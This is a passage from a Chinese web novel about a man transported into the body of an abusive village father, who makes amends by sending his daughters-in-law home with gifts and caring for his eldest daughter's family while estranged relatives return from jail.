“这个江河,别不是真如赵神婆说的那样,是被邪祟给附身了吧……?”
啪!
王有志的话还没有说完,脑袋上就直接挨了王冶山一巴掌。
“小兔崽子,再敢这么胡言乱语,小心老子揍死你!”
“赵神婆因为这种污七八糟的事情,都特么不明不白的死在了县大牢里,你莫不是也想要步了赵神婆的后尘?”
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“你给我记住了,子不语怪力乱神,这世上从来就没有什么邪祟与鬼怪!”
“真是,这几年的书全都让你给读到狗肚子里了,怪不得你年年参加大考,却年年都名落孙山,连江贤、江达两兄弟的脚后跟都撵不上!”
王有志被王冶山训斥得有些抬不起头。
他没想到自己只不过是随口说了一句有关江河是邪祟的传闻,四叔的反应竟会这般大。
见王有志低着头不再说话,王冶山缓缓放下手中的茶杯,目光深沉的向他警告道:
“记住我说的话,以后不许再提邪祟之类的事情,亦不可再像以前那样怠慢江河那一家老小。”
“现在的江河,已经不是以前那个可以任我们随意拿捏的蠢货了。”
“他有武力,有心计,更是还因为赵神婆的案子,得了王老四、王小顺那些苦主的人心。”
“这样的人,能交好就尽量交好,就算是不能交好,也千万不要去刻意得罪!”
“总之一句话,以后都莫要再小瞧了江河!”
“知道了,四叔!”
王有志低头应了一声,不过眼中更多的还是不以为然,并没有把王冶山的提醒太当回事儿。
在他的眼里,就算是江河现在不再像是以前那么蠢了,又能怎么样?
丫归根结底,也不过是个最底层的泥腿子罢了,哪里值得他花心思去刻意结交?
四叔这样,就是有些小题大做,太抬举江河了。
王冶山看出侄子眼中的不以为然,心中暗叹一声。
到底是年轻气盛,读书又读得半桶水,眼界和心性都还差得远。
不过他也没再多说什么,他这个侄子本就跟江河一家没有太多的交集,平时绝大部分时间都在县里进学,应该也没什么机会跟江河起冲突。
“好了,你先回去吧。”王冶山摆了摆手,“王大虎家的事,咱们就当什么也不知道。若是有人问起,你就说老夫到县城了,没在家。”
“是,四叔。”王有志应了一声,转身离开。
屋里只剩下王冶山一人,他走到窗边,看着外面逐渐变暗的天色,眉头不由微微皱起。
明天江十二、王三妮一家就要回来了,这事儿江贤与江达已经托人给他打过招呼,想要让他与老族长出面调停,确保老宅一家顺利回归。
江贤、江达二人,可是他们村子里走出去的文曲星,将来注定是要科举入仕当大官的人。
按理来说,他们的请求村子里断是不能拒绝。
可照眼下的情况来看,明日江十二、王三妮一家想要平安回来,怕是难度不小啊。
不说江河那小子会不会趁机搅风搅雨,暗中使绊子。
仅就是王老四与王小顺他们这两家人,就不好交待啊!
这两家人的孩子,当初可就是**十二与江洋父子给直接迷晕绑走的。
听说直到现在,王小豆与王小丫那俩孩子,都还时常会做噩梦,还没有从之前的惊吓中完全恢复过来。
这个时候你让他去劝王老四与王小顺要大度,要得饶人处且饶人,让他们原谅江十二与江洋那两个罪魁祸首,这不是在找骂吗?
第141章 让儿媳们回娘家探亲
傍晚时分。
赵穗和罗灵分别从各自的娘家回到家里,手中空空如也,同样是半粒粮食也没有收到。
二女愁眉不展的来到江河身前,把她们走时带走的二两银子一文不少的又还了回来。
“爹,现在不止是咱们下河村,我娘家那边的村子也是家家缺粮,根本就没有人愿意往一外卖。”
赵穗沉声开口向江河述说着她回娘家的所见所闻:
“听我娘说,昨天庄子里接连有两个上了七十岁的老人没有熬过去,都是因为家里缺粮,被活活饿死的。”
“回来时,我娘想让我从家里带几斤粮食回来应急,我兄弟媳妇没给什么好脸色,我也就没有要……”
赵穗说完,像是犯了什么天大的错误一样,低着头不敢看江河。
罗灵这时也畏缩着脖子,小声的接声说道:
“爹,我娘家那边跟大嫂家差不多,也是收不来半粒粮食。”
“我娘家今年的收成也很不好,家里剩下的粮食根本就熬不到明年开春,所以我……我也没好意思从娘家拿粮食回来……”
见两个儿媳妇儿红着脸,低着头,仿佛是做错了什么事情,在等着江河惩罚痛骂一样,江河不由微微皱起了眉头。
“你们没拿亲家的粮食是对的,我让你们出去是买粮食,不是去乞讨,去吃白食。”
“现在各家各户都不富裕,粮价又贵得离谱,咱们不能没脸没皮的平白要你们娘家的活命口粮。”
江河一开口,就让赵穗与罗灵紧张的心绪骤然一松。
公爹没有怪她们,更没像以前那样打骂她们,说她们身为江家的儿媳,却一直心向娘家,是养不熟的白眼狼。
这……真是太好了!
江河扫了眼前这两个儿媳妇一眼,之后又开口把正在灶房里忙活着做晚饭的老二媳妇孙芳也给叫了过来。
待三个儿媳妇全都凑齐,江河再次正色开口向赵穗与罗灵说道:
“之前我是不知道你们竟然这么着急回了娘家,不然咋也不能让你们空手回去。”
“这样,明天你们再回去一次,包括老二媳妇也是一样,每人带十斤腊肉,三十个鸡蛋,二斤食盐加三斤红糖。”
“嗯,再把咱们中午吃剩下腌制起来的猪獾肉,也一并分成三份,全都带上,算是我对亲家公亲家母的一点儿心意。”
啥?!
闻言,赵穗、罗灵还有刚从灶房过来的孙芳,不由同时惊愕抬头看向江河,似乎是在确定公爹是不是在开玩笑。
她们嫁进江家这么多年,这还是头一次见公爹主动开口,让她们带着家里的东西回娘家探亲。
而且,带的还是肉、蛋、食盐和红糖这些实打实的硬通货。
尤其是腊肉、猪獾肉和红糖,在这年头,简直就是比银子还要金贵的稀罕物!
要知道,就算是过年,普通农户家里也未必能割上两斤肉,更别提腊肉和红糖这种需要额外加工、价格不菲的东西了。
公爹竟然会舍得让她们每人带这么多的肉蛋和红糖回娘家,真是大大出乎了她们的预料。
“爹……这……这太贵重了……”赵穗有些局促不安地开口,“咱们自家也要过日子的,还是不要再往外送了吧。”
“是啊爹,现在粮食金贵,咱家的存粮也不多,这些腊肉和鸡蛋,咱们还是留着自家吃吧。”罗灵也连忙摆手拒绝。
老二媳妇孙芳虽然没有说话,但眼中也满是惊讶、意外以及一丝不太自然的畏缩和紧张。
江河看着三个儿媳妇的反应,不由微微摇头。
显然,这三个儿媳妇并不相信他是真的想要给她们娘家送东西,还以为是他在故意试探她们呢。
类似的事情,原身那狗东西以前可是没少做过。
每次三个儿媳妇要回娘家,他都会故意把一些吃的喝的用的放在明面上,一旦发现哪个儿媳妇动了这些东西,少不了就会被他一顿打骂。
久而久之,三个儿媳一年到头都不敢回娘家几次。
每次纵使回去了,不是空着手,就是带着一些家里不要的烂菜叶子,或是从山里采摘的一些野果。
时间长了,她们亲爹亲娘那边虽然不会说什么,但是她们的兄弟和兄弟媳妇们,难免会不待见她们,给她们使脸色。
甚至于,就连周围的邻居,也会对她们指指点点,说她们不孝顺之类的闲言碎语。
所以,慢慢的,她们自己也就不太愿意回娘家了。
现在,骤然听到公爹竟然要为她们备上这样一份厚礼,让她们给自己的爹娘带回去,她们怎么敢轻易相信?
哪怕她们的公爹现在已经变得跟以前不一样了,也不再动辄打骂她们了,可她们也不敢去打这个赌,去触这个霉头。
唉!
都是原身这狗东西惹下的祸,搞得他江某人现在连说实话都没有人愿意相信了!
想明白了事情的前因后果,江河不由又一次的在心里非议了原身一番。
连儿媳妇回娘家去探望自己的亲爹亲娘尽孝心,原身都千防万防,深怕自家会吃一点儿亏,甚至还搞“钓鱼执法”那一套,实在是太不当人,也太让人心寒了!
这也就难怪这三个儿媳妇会不信任他,一听说他要主动备礼让她们回娘家,一个个的全都吓得脸都白了。
“行了!这事儿老子说了算!让你们把东西带回去,你们就乖乖带着就好,别那么多废话!”
知道这事儿一时半会儿的也摆弄不清,江河索性就不再多说,直接强硬的替三个儿媳做出了决定。
这也是他这段时间与原身的这些家人相处时发现的一个小窍门。
每次只要他一发脾气,这些儿子、儿媳妇就会立马变成只知道乖乖点头的小鹌鹑,瞬间就温驯听话得一批。
所以,每当他遇到这种不好解释但却又必须得做的事情时,他就会像原身那样直接暴躁的怒吼一声。
然后,一切问题就会迎刃而解。
果然。
随着江河的这声怒吼,赵穗、孙芳与罗灵同时一个激灵,然后便不再有任何抗拒,直接点头同意了他的吩咐。
只是这一次,她们虽然同样是被迫屈从了公爹的“**”,但是江河却从她们的眼
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中看到了甘之如饴的欣喜光芒。
显然,她们心里也是极想带着这些厚礼回娘家的。
不说是扬眉吐气、荣归故里,至少有了这么硬的厚礼打底,她们回去之后,再也不必担心会被兄弟媳妇挤兑,被隔壁邻居笑话了。
这年头,谁的心里还没有一点儿虚荣,没有一个想要装逼打脸的小心思了?
赵穗、孙芳还有罗灵,在娘家那边被贬低甚至被嫌弃了那么多年,当然也想要咸鱼翻身一次,好好的涨涨脸。
“这就对了!”
见三个儿媳妇都不再多说什么,江河的语气也瞬时变得和缓了下来,道:
“明天回去时,让江天、**也都跟着一起去,现在的光景不比往常,你们带着那么多东西回去,路上怕是会不安全。”
说完,江河又转头看向大儿媳赵穗,道:
“老大家的,你也一样,老大不在了,明天就让江源和江沫儿他们两个陪你一起回去,路上好有个照应。”
赵穗闻言,红着眼睛微微点头:“知道了,谢谢爹!”
江源虽然才十一岁,可也已经长得像个成人了,个头并不比她低多少,有他在身边跟着,总算是个威慑。
至于为何要让江沫儿也一起跟着,在赵穗看来,应该纯粹是为了避嫌,省得她跟小叔子一起回娘家,会遭人闲话。
公爹虽然没有明说,但这明里暗里都是在为她考虑呢。
想到这里,赵穗在感动不已的同时,也有些受宠若惊。
她没想到,公爹现在不但性情变了,就连心思也比以前细腻缜密了许多。
“还有,”江河轻瞥了三个儿媳妇一眼,正色交代道:“让你们回娘家送东西,是为了成全你们的一番孝心,可不是为了让你们回去炫富!”
“要是有人问起这些腊肉、鸡蛋、猪獾肉是哪来的,你们就说是家里人运气好,在山里猎到了点野味换了些钱,别让人觉得咱们家像是发了大财,是暴发户一样。”
三妯娌闻言,同时点头表示明白,她们又不傻,当然知道财不露白的道理。
“爹您放心,我们知道该怎么说!”
赵穗恭声向江河保证道:
“您在山里挖到野山参并卖了九十两银子的事情,我们肯定会烂在肚子里,不在娘家泄露半句。”
孙芳和罗灵也连忙点头保证,她们都不是小孩子了,自然知道什么话该说什么话不该说。
事实上,这次能够光明正大地给娘家送些东西回去,她们就已经心满意足,当然不会乱嚼舌头,把公爹发了大财的消息抖露出去。
“嗯,你们明白就好。”江河点点头,道:“一会儿我会把那些东西全都备好,让老二分别送到你们房里去。”
“明早你们早些出发,把孩子也都带上,没事儿可以在娘家多待些时辰,让几个孩子跟他们姥姥姥爷、舅舅、舅妈及表兄妹们好好亲近亲近,只要晚饭前赶回来就好。”
“是,爹!”
见公爹竟真的要给她们准备回娘家探亲的礼物,三妯娌齐声应是,声音里都带着一丝压抑不住的欢快。
第142章 亡妻的庇佑
江天、**、江源三兄弟一直都在西屋,给彼此身上的伤口涂抹药膏。
等到他们把身上的伤口处理好,从西屋出来后,第一时间就听到赵穗、孙芳与罗灵三妯娌说起要爹让她们明天回娘家的事情。
江天兄弟神色微变,几乎同时抬腿迈向了堂屋方向。
“爹,你是不是想要把我们全都支走,自己一个人对付老宅的爷奶一家?”
“是啊爹,就算是要让大嫂、二嫂和罗灵她们回娘家,什么时候不可以,为什么偏偏要安排在明天?”
“爹,我不走,我要留下来陪爹一起对付那些一直欺负咱们的坏蛋!”
刚进屋,江天、**、江源就分别开口,或是质疑,或是表态,全都不愿在明天老宅一帮人即将回归的时候,躲出村子里去。
他们想要跟江河一起对抗老宅的欺凌。
江河闻言,不由无语的抬头瞥看了这三个儿子一眼,道:“谁说我要对付老宅那帮人了?”
“我白天都已经答应过里正公,只要老宅那帮人不来主动找咱家的麻烦,我便老老实实的待在家里,不去主动招惹他们。”
“再说了,老宅那帮人现在自顾尚且不暇,哪里会再有闲心来找咱家的麻烦?”
“我让你们明日陪自己的媳妇,还有你们大嫂一起回娘家,只是觉得这几年亏待了她们三妯娌,让她们一度在娘家人面前抬不起头,想要趁机弥补一下而已。”
“你们要是不愿去的话,那就算了,跟老子一起留在家里看大戏好了,正好也能为老子省下不少探亲礼……不过,你们大嫂还有孙芳、罗灵那边,你们自己去说,跟老子没关系。”
呃?
听老爹这么一说,江天、**与江源三兄弟同时愣在当场。
尤其是最后,听到老爹说不再为三个儿媳妇准备回娘家的探亲礼物,还让他们自己去跟大嫂她们说。
三兄弟不由同时打了一个激灵。
刚刚大嫂她们说起要回娘家的事情时,脸上兴奋激动的表情,眼中难以抑制的欢快情绪,他们可全都看在眼里。
现在,若是让她们知道就是因为他们三兄弟的质疑,使得老爹直接就断了她们回娘家的念想,连原本说好的探亲礼也不再准备了。
江天三人简直都不敢想像,接下来大嫂、孙芳还有罗灵三人会怎么埋怨甚至痛恨他们。
要知道,这可是这么多年以来,老爹头一次这么大方主动的让她们三妯娌回娘家探亲,甚至还要亲自给她们准备探亲的礼物。
这要是被他们给搞砸了……嘶~!
江天、**与江源都不敢再接着往下想。
“我去!”
江源年纪最小,反应却最快,猛的一甩头,立马改口道:
“爹,我明天就去跟大嫂一起回大嫂的娘家,你放心,我肯定能保护好大嫂和江娴、江涛的周全!”
都说长嫂如母,这些年大嫂可是没少帮衬、照顾江源与江沫儿这小兄妹两个,他自然是不想看到大嫂伤心失望。
“爹,我也没意见!”**也连忙跟着改口,“说起来,我也有好几年没有跟着罗灵一起回去探望岳父岳母了,明天正好没事儿,回去一趟再合适不过!”
见两个兄弟全都改了口,江天也不想让自己的媳妇失望,便也接声说道:“爹,我也愿意明天陪孙芳回一趟娘家。”
见三个儿子全都没了意见,江河这才满意点头,道:
“诶,这就是对了!”
“你们大嫂她们,嫁到咱们**家这么多年,连一次像样的回门都没有,着实是委屈了她们。”
“以前是爹糊涂,不懂事,但是现在既然爹已经明白过来了,自然不会再像以前那样继续苛责委屈她们。”
“明天你们就陪她们好好回门走个亲戚,联络一下与亲家那边的感情。”
“眼见着荒年将至,大乱欲起,咱们亲戚之间更是要相互帮忙、扶持,才能在即将到来的大灾大乱中存活下来。”
江河的话,让三个儿子再次陷入了沉思。
他们没想到,老爹之所以会让大嫂她们这个时候回娘家探亲,竟然还蕴藏着这样的深意。
他们之前只想着要留下来帮爹一起对抗老宅,却没想到爹压根就没把老宅放在心上。
老爹所考虑的问题,是该如何联系周边的几家亲戚,在即将到来的灾荒和可能出现的**之中守望相助,这是在为他们一家人的未来铺路谋算啊。
相比于眼前与老宅的意气之争,这种关乎全家人生死存亡的大事,无疑更重要!
“爹,我们明白了!”江天郑重地点头,“明天我们一定陪媳妇好好回娘家探亲,跟那边的亲戚处好关系!”
“对!爹,你放心,我们一定不会给你丢脸的!”**和江源也连忙保证。
“嗯,知道就好。”江河挥了挥手,道:“正好,明天探亲需要带的礼物我已经准备好了,一样三份,你们这就带出去吧。”
“还有,今天收粮剩下的那些钱,你们也不用再交还回来了,直接带在身上就好。万一要是遇到了什么事儿,别舍不得花钱!”
“是,爹!”三兄弟心中一暖,齐声应是。
之后便进里屋,将江河已经准备好的满满三竹篓探亲礼拎了出来,恭敬地退出了堂屋。
回到院子里,**忍不住低声对江天说道:
“二哥,你有没有感觉到,咱爹现在想事情,真是一环扣一环,周到得简直不得了!”
“我原还以为爹允许大嫂她们回娘家探亲,只是单纯地想要弥补她们,让她们开心一下,没想到这背后竟然还隐藏着这么多深意。”
“就是就是!”江源也凑过来小声说道:“我感觉咱爹现在的心眼子,都快要赶得上里正公和老族长了,说话做事,一套接一套的。”
江天闻言,也不由点头感慨道:“是啊,爹现在确实跟以前完全不一样了。”
“他不但会出手护着咱们,更还在不断为咱们这个家做着长远的打算。”
“要是他能早变成这个样子,咱家的日子早就变好了,就连咱娘也不至于会被王三妮那个老虔婆给活活逼死……”
听到二哥又提起娘亲,**、江源原本还兴奋的脸色瞬间就沉默了下来。
过了片
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刻,**突然抬起头,开口向江天说道:
“二哥,娘的死,归根结底还是王三妮那个老虔婆害的,咱爹当时虽然做得不对,但他毕竟不是害死娘的直接凶手。”
“我记得娘活着的时候,就一直都在盼着爹能浪子回头,一朝醒悟,带着咱们全家过上好日子。”
“我觉得,爹现在突然变好了,醒悟了,就是娘在冥冥中显灵保佑着咱们呢。”
“还有,你们或许都忘了,但我一直都记得很清楚,爹被磕伤了头,昏迷不醒的那一天,正好就是娘亲去世的三周年……”
江天闻言,身形不由猛地一震。
他快速的在心里默默换算了一下时间,赫然发现,老三说得竟一点儿没错!
老爹磕伤假死的那一天下午,可不正是三年前他们娘亲吊死在东厢的那个时间点吗?
这么说来,老爹现在的突然转变,竟然还真是他们娘亲在暗中显灵了不成?
想到这里,江天的双眼骤然变得通红,眼泪再也控制不住,啪嗒啪嗒地不断往下滴落。
“肯定是娘,是娘亲看咱们几个孩子过得太累太苦,这才显灵改变了爹的性情,保佑咱们一家过上好日子呢!”
“娘亲她纵使是已经过世了这么久,都还在想着咱们、念着咱们呢……”
“可是我呢,竟然……竟然连娘的周年都给忘记了,实在是太不孝顺了!”
见二哥哭得这般伤心与自责,**与江源也同时心神震动,站在旁边不自觉的小声抽泣了起来。
之前他们一直都以为,老爹突然间的性情转变,只是单纯的因为磕到了脑袋,甚至还怀疑过他是被邪祟给附了身。
但是现在,经他们三个这么一分析,一联想,瞬间就把所有的前因后果,全都归结到了亡母的显灵与庇佑上了。
而且这个念头一冒出来,就跟开春后的野草一样,开始在他们的心里生根发芽,一个劲儿的疯长猛长,怎么都止不住。
古人多迷信,尤其是从小在乡下长大,又没读过什么书的江家三兄弟,此刻皆都对他们心中冒出来的这种观念深信不疑。
堂屋里。
耳力充沛的江河自然也听到了三兄弟在院子里的小声嘀咕。
当他听到这仨小子竟然把他的穿越,当成了是他们已经过世了三年的老娘在暗中的显灵与护佑,江河不由轻抽了一下嘴角。
他也没有想到,原身重伤昏迷的时间竟然会这么巧,正好是与王娟三年前**身亡的时间碰在了一起。
也难怪这仨孩子会这么想,因为这一切确实巧合得有些过分了。
“如此,其实倒也不错。”
江河在屋里轻声自语了一句。
王娟的死在这几个孩子的心中,始终都是一根怎么也拔不掉的尖刺,一道看不见摸不着的隔膜。
在不断地阻碍、隔绝着几个孩子对他完全信任、彻底亲近。
现在,既然他们误会这一切都是他们娘亲在冥冥中的安排与庇佑。
也许他们以后就会因此而逐渐放下心结,敞开心扉,彻底接受他这个老爹的转变,与他真正亲近起来了。
第143章 父女交心,山雨欲来
翌日清晨。
当江河从床上起来的时候,天光已经大亮。
江天、**、江源、江沫儿,还有赵穗、孙芳、罗灵,以及几个孩子,全都已经不在家中。
看样子,应该是早早地就出发回娘家去了。
江河伸着懒腰从屋里出来,刚想要去灶房的水缸里去打盆水来洗漱,就看到大女儿江槐从灶房里出来,手里还端了一盆冒着热气的温水。
“爹,你起了啦!洗脸水我已经给你备好了,你这就洗把脸,准备吃饭吧!”
江槐面带着温暖的笑意开口跟老爹招呼着,看得出,这闺女今天的心情似乎很不错。
江河伸手接过她递来的洗脸盆,随口问道:“可是赵诚腿上的伤好了些?”
“何止是好了些,爹,你都不知道你从贾郎中那里给赵诚买来的那副药有多好用!”
江槐瞬间就来了精神,满满的倾诉欲望,一边去拿毛巾,侍候着老爹洗漱,一边小嘴叭叭地说道:
“昨天下午我收粮回来的时候,赵诚就说他的腿一点儿也不疼了。”
“昨天晚上起夜时,他竟然自己扶着床沿就站起来了!”
“虽然还不能正常走路,但是却比他在家里好了不知多少倍。刚刚起床时他还跟我说,让我去给他寻个拐杖回来,他想试试能不能拄着拐杖起床走动走动……”
江槐越说越兴奋,越说越欢喜,到了最后甚至还有点儿喜极而泣的感觉,眼圈儿都不自觉的红了起来。
“爹,谢谢你,如果不是你前天把我们从柳树村接回来,又花了那么多钱给赵诚看病抓药,赵诚他说不定就挺不过这一关,直接丢下我们娘仨,撒手而去了。”
这并不是在危言耸听、夸大其词。
而是赵诚当时的情况真的已经岌岌可危,若是不及时请医救治,他怕是连两天都再坚持不住。
赵诚若是一命呜呼了,江槐还有三个孩子在缺衣少食,且还被婆家给吃了绝户的情况下,多半也是性命难保。
所以江槐心里很清楚,她爹救的其实并不止是赵诚一个,而是直接救了他们一家五口。
不管以前她再怎么恨她爹、怨她爹,经过这两天一连串的事情之后,她对现在这个爹,只有无尽的感激与感恩。
所以,江槐要比家里的几个兄弟、兄弟媳妇,更能接受老爹性情的转变,更愿意与老爹贴心亲近。
今天,江天、**、江源还有江沫儿,陪着三个兄弟媳妇同时回娘家探亲,家里就只剩下爹和他们一家五口,江槐便主动承担起了做早饭,做家务给爹打洗脸水的任务。
江河接过江槐递来的毛巾,胡乱在脸上擦了两把,心里也替大女儿感到高兴。
“傻丫头,跟爹还说什么谢不谢的。”江河将毛巾递回去,温声道,“赵诚是你男人,是我那三个外孙的爹,也是老子的大女婿,爹帮你们,那是天经地义。”
“以前你爹是个糊涂蛋,做了不少混蛋事,让你们都跟着吃了不少苦,受了不少委屈。”
“不过以后却是再也不会了,只要有爹在,就绝不会再让你们兄妹几人受半点儿委屈。”
江槐闻言用力点头,眼泪终究还是没忍住,悄然滚落了下来。
她连忙转过身去,用袖子擦了擦,声音有些哽咽:“嗯!我知道,爹!”
江河假装没看见,走到灶房门口的小桌旁坐下,江槐抹了把眼泪,连忙过去把一直温在锅里的饭菜端出来摆好。
一碗稀粥,两张大饼,一碟咸菜疙瘩,以及两颗水煮鸡蛋,虽然简单,却热气腾腾。
“我听大嫂说,爹早上习惯吃两颗水煮鸡蛋,再喝上一碗稀粥,所以就没有再炒什么菜。”
“爹要是想吃什么的话就跟我说,我现在就给你做!”
江河轻摆了摆手,道:“不必那么麻烦了,这样就挺好,我已经吃习惯了。”
说着,江河便拿起盘子里还冒着热气的水煮蛋,一点点的剥起壳来,同时开口向江槐问道:
“你跟赵诚可都吃过早饭了?我那三个外孙有没有吃上一颗水煮蛋?”
江槐连忙点头道:“我们已经吃过了,至于那三个小的,爹你就别惦记了,他们肚子小,吃不了多少东西,每天早上给他们喝上两口白粥就够了。”
江河闻言,面色不由一沉,不满的抬头看了江槐一眼,怒声道:“我昨天是怎么说的?!”
“家里的孩子,以后无论男孩女孩子,每天早上都必须得吃一颗水煮蛋,你为啥不让老子那三个外孙吃?”
“是老子说话不好使了,还是你胆子肥了,敢把老子的话当成耳旁风了?”
见老爹突然发火,江槐条件反射地心下一凛,第一时间就开始低头认错:
“爹,您别生气,是我错了,我以后一定改!”
“我先前只是想着,家里的口粮不多了,鸡蛋又那么金贵,给念儿、瞳儿他们吃了,着实是有些浪费了。
所以就想省下来几个,留给爹还有家里的兄弟、侄子们吃……”
听到江槐的解释,江河不由一阵无语。
他就知道是因为这个!
这丫头就是觉得带着自己的男人和三个孩子回娘家住,白吃白喝的有些过意不去,不敢让孩子们多吃,怕家里的兄弟或是兄弟媳妇说闲话。
这不是不懂事,而懂事得有点儿太过分了。
“够了!”
江河一拍桌子,打断江槐的解释,霸道无比道:
“这个家现在还是老子说了算!你是老子的长女,回家来住用不着看谁的脸色,更不必为爹省这口吃的!”
“你给我记住了,以后江娴、江涛他们在家里怎么吃,赵念、赵瞳还有赵逸也要怎么吃!”
“你要是敢再短了老子这三个外孙的口粮,看老子不打断你的腿!”
面对老爹这恶狠狠的“威胁”与“斥责”,江槐头一次没有感到有半分的委屈与埋怨,心中反而瞬间升起了无尽的感激与温暖。
爹并没有把她这个嫁出去的女儿当外人。
更没有把她生下来的三个孩子当累赘,而是一视同仁的给了他们与家中其他孙子孙女同样的待遇。
这样的爹,哪怕是脾气再大,对她表现得再凶,江槐的心里也是甘之如饴,不敢有半点儿埋怨。
“我知道了,爹,以后不会再这样了!”
江槐低头应了一句,声音有些哽咽,又有点儿控制不住想要掉眼泪了。
“知道了还在这里发什么呆,还不快去再给我那三个外孙煮三个鸡蛋去?!”
“诶,知道了爹,我这就去!”
江槐连忙擦了把眼泪,着急忙慌的又去生火煮鸡蛋去了。
“既生了火,不妨再多煮几个,你跟赵诚现在的身子都弱得很,须得每天吃点儿好的补一补。”
听到老爹这么说,江槐本想再推辞几句,不过一看到老爹瞪来的不善眼神,又赶紧点头应是,去灶
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台旁边的瓮子里取鸡蛋的时候,便随手多取了几个。
江河见状,这才低下头继续剥自己手中的鸡蛋,一边剥一边缓声言道:
“以后你跟赵诚,还有仨孩子,就在家里安生住着,别想那么多有的没的。”
“这里是爹的家,也是你们的家。爹愿意养着你们,外面的人谁敢多说半个字?”
“至于你大嫂还有两个弟媳妇那边,你就更不必担心她们会多说什么了,你当爹今天为何会让她们回娘家探亲,甚至还为她们都备上了一份厚礼?”
“除了确实是感觉有些亏欠了她们,想要弥补一二之外,更重要的就是为了堵她们的嘴!”
“省得她们以后会觉得你这个大姑子回来住,好像是占了娘家多大便宜一样,在背后乱嚼舌头根子,不给你好脸色。”
做好事不留名,可不是江河的行事风格。
他在背后为江槐这个大女儿做了这么多谋算与付出,自然要让大女儿明明白白的知道其中的前因后果,知道他这个当爹的究竟为她做了些什么。
就像是爱一个人,就要明明白白、大大方方的说出来,否则别人怎么会知道你的心意?
千万别跟他说,爱是能感觉得出来的,这全都是屁话。
别人又不是你肚子里的蛔虫,凭什么能时刻感知到你心里的想法,明白你心中的爱意?
江河一直都坚定不移的认为,人与人之间的关系,都是需要刻意去经营的。
哪怕是亲父子亲母女,亲兄弟亲姐妹,想要维系好彼此之间的关系,也是需要花心思花精力花金钱,去维护去经营的。
就像是现在,他就是要明白告诉江槐,他是心疼这个乖女儿,爱护这个乖女儿,所以才会提前做了那么多的安排与付出。
如果江槐不是白眼狼,不是那种不知感恩,把别人对她的好全都当成是理所当然的自私自利之人,她就一定会心生感激,对他这个亲爹更加的亲近、感恩。
这不是挟恩图报,而是江河为了快速拉近自己与大女儿之间亲近关系的方式方法,也是江河上辈子为人处世惯用的手段。
果然,听到江河这么说,正在生火烧锅的江槐又一次控制不住的被感动哭了。
就在江河趁着吃早饭的工夫,跟自家大女儿联络感情的时候。
下河村的村东方向。
一辆略显陈旧的马车,正吱吱呀呀地,从外面朝着下河村这边驶来。
车厢里坐着的,正是两天前才刚被县衙无罪释放的江十二、王三妮、江洋、王艳四人,还有一直都在县学里读书备考的江贤与江达兄弟两个。
王三妮的腿伤还没好利索,半躺在车厢的后排座位上,脸上带着一丝病容和怨毒。
江十二坐在王三妮的身侧,一脸晦气和不耐。
江洋和王艳坐在车厢的另一边,一脸没心没肺的样子,看着坐在他们身边的两个儿子,一脸的欢快与骄傲。
这一次他们虽然遭了一场牢狱之灾,吃了不少苦,受了不少怕,可是却也让他们看到了自家两个儿子在县城内的非凡影响力。
若不是他们这俩儿子及时出手,疏通了关系,说服了县老爷,给他们判了一个无罪释放。
他们一家四口人还指不定什么时候才能从县大狱里出来呢!
现在儿子出息了,有本事了,江洋与王艳作为他们的爹娘,自然是与有荣焉,虚荣骄傲的尾巴都快要翘到天上去了。
第144章 绝对不能让江河好过!
什么叫扬眉吐气?
这特么就叫做扬眉吐气!
江洋两口子活了三十几年,感觉从来都没有像现在这样风光荣耀过。
看他们脸上洋溢出来的骄傲、得瑟及得意洋洋的表情,哪里有半点儿蹲过大狱的颓丧、晦气之态?
不知道的,还以为他们是遇到了什么大喜事,或是俩儿子中了状元,正在游街夸官呢!
尤其是江洋,不时看向坐在前面的大儿子江贤,眼中满是得意和炫耀,仿佛在说:
看,这就是老子的儿子!秀才公!将来的状元郎,连县老爷都要给几分面子的大人物!
有这样一个注定要当官老爷的儿子在,看以后村子里还有谁敢再来欺负他,敢对他指手画脚,说三道四?
江贤坐在车厢前侧靠近门帘的位置,眉头微蹙,脸上没有多少喜色,反而带着一丝隐晦的疲惫和凝重。
这次为了把爷奶和爹娘从县狱里捞出来,他不仅花光了自己小家里积攒多年的积蓄,甚至还和岳父那边借了两贯来应急。
其实花钱还是小事,钱财不过就是身外物,只要以后他当了官,有了权,想要多少都不是问题。
关键是,这次为了能求得县尊通融,他还动用了不少原本不想动用的关系,欠下了不小的人情。
而更让他感到心烦的是,虽然人被他给顺利捞出来了,但案子本身的影响并没有消除。
赵神婆“暴毙”,案子草草了结,爷奶和父母虽然没被定罪,但在县衙的案卷上,肯定留下了不好的记录,对于他日后的科举仕途,或许会有不利影响。
还有,爷爷和父亲在村里惹出的麻烦,他也听说了。
王老四、王小顺两家丢的孩子,就是他爷和他爹亲手所为,就算是县里的案子了结了,可这村子里的仇怨,又该如何解决?
原本,他是想要让五位舅爷回来镇镇场子,为他们今日的回归打打前站。
可是昨天晚上大舅爷却派人过来知会他,说是他们昨天刚回到村口,就**河那个二赖子给打伤打残了。
之后他们又被王老四、王小顺一帮人堵上了家门,就连之前受伤最轻的二舅爷王二虎,最后也被他们给打断了腿,扇烂了嘴。
就这样,他们在村子里最大的助力,王家五虎全部成了废人。
这次他们回家,还指不定会遇到什么麻烦甚至危险呢。
“大哥,你在想什么呢,怎么有点儿愁眉不展的?”
江达似乎感觉到了大哥的情绪有些不对,不由轻声开口向他询问。
江贤轻声言道:“我在想,一向都对爷奶极为孝顺的大伯,为何会突然间性情大变,不但打了爷奶和爹娘,还跟老宅直接断了亲,昨天他甚至还出手把五个舅爷都给打伤了?”
“一个人,怎么可能会在这么短的时间内,有着如此巨大的反差变化?”
“你说,是大伯的秉性本就如此,以前都是他在刻意伪装。
还是大伯受了什么人的挑拨与刺激,所以才会突然与老宅反目?”
“这有什么好奇怪的,大伯他本就不是什么好人,你又不是头一天才知道?”
江达倒是没有想那么多,提起江河这个大伯,满眼不屑道:
“他江河本就是村里一个不学无术的地痞、二流子,你说他的秉性能好得到哪里去?”
“照我看,他以前在爷奶跟前的所谓恭孝,全都是他佯装出来的表象罢了。”
“现在,装不下去了,或者是不想装了,这本性自然也就暴露出来了。”
“说实话,家里有这样一个名声不好的大伯,我都觉得丢脸得慌,在学堂里都不敢跟别人提起。”
“现在这样,两家直接断了亲,其实也挺好。就算是这次不断,过两年待我也高中了秀才,我也会让爷奶想办法跟他彻底做个了断。”
江贤闻言,微微点头,并没有觉得二弟这样想有什么不对。
事实上他心里也是这样想的。
他们兄弟二人将来可是都要科举入仕当官老爷的,家里怎么能有这样一个不学无术还偷鸡摸狗的二流子亲戚?
这些年,若不是因为江河还算懂事,每年都会给老宅上供不少的钱粮,早在两年前江贤考中秀才的时候,就想要跟这个大伯直接断亲了。
